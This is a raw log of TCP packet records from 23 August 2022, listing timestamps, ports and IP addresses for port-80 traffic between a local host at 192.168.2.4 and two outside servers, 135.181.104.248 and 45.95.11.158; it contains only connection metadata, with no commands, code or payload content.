Aug 23, 2022 03:42:56.165544987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165572882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165591002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165602922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165616989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165631056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165646076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165659904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165688038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165688992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165719986 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165729046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165755033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165783882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165800095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165813923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165831089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165896893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165925980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165963888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165973902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166003942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166012049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166019917 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166033030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166049004 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166060925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166098118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166112900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166131020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166176081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166220903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166224003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166230917 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166270018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.166276932 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.166321993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172291040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172369957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172420979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172440052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172456026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172466993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172498941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172502995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172506094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172579050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172723055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172796965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172828913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172841072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172868013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172873974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172893047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172936916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.172944069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.172977924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173027039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173058987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173141956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173207998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173227072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173281908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173352957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173424959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173463106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173476934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173480988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173531055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173594952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173644066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173682928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173700094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173759937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173779011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173794985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173810959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173824072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173827887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173835039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173840046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173856974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173871994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173899889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.173899889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.173918962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174004078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.174062967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174109936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174156904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.174159050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174245119 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174262047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174298048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.174310923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.174313068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174361944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.174519062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.174570084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175008059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175025940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175061941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175088882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175141096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175234079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175290108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175295115 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175477982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175530910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175570965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175614119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175662041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175750017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175798893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175868988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175887108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175904989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175941944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.175946951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175967932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.175973892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.176021099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.176362038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.176378965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.176387072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.176419020 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.176429033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.176510096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.176553965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178563118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178585052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178606987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178627968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178646088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178648949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178670883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178690910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178710938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178730965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178765059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178802013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178814888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178837061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178858995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178904057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178909063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178930998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178951979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.178977013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.178992987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179008961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179028988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179039955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179064989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179075003 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179102898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179124117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179157019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179172993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179177999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179198027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179219961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179248095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179267883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179267883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179305077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179342985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179378986 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179390907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179393053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179400921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179429054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179438114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179465055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179467916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179502010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179537058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179546118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179639101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179689884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179884911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179907084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179927111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.179960966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179981947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.179996014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180016994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180037022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180041075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180058002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180095911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180095911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180104017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180144072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180181026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180191994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180217028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180238008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180258036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180262089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180273056 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180306911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180310011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180346966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180381060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180392027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180432081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180454016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180474043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180480003 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180495024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180495977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180510998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180531979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180542946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180579901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180625916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180629015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180665016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180711031 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180712938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180757999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180779934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180803061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180862904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180886030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180907011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180933952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180944920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180946112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.180967093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.180988073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181015968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181016922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181054115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181076050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181102037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181112051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181130886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181173086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181221008 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181236029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181256056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181277037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181282043 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181298971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181302071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181312084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181335926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181376934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181389093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181473970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.181497097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181516886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181521893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.181538105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181555033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181572914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.181622982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.181631088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.181636095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.181909084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181931973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.181984901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.181988001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182024956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182044029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182054043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182074070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182097912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182193041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182215929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182235956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182250023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182257891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182274103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182280064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182281017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182297945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182301998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182323933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182343960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182354927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182363033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182377100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182408094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.182629108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182650089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.182702065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.185259104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.185296059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.185389042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.197484970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.197889090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.216289043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216320038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216346979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216368914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216404915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216423988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216443062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216450930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216474056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216501951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216552973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216579914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216586113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216610909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216614008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216624975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216633081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216639042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216644049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216650009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.216692924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.216711998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219007969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219043016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219074011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219105005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219113111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219177961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219177961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219228983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219235897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219244003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219268084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219295979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219320059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219391108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219427109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.219453096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.219480991 CEST	49743	80	192.168.2.4	45.95.11.158
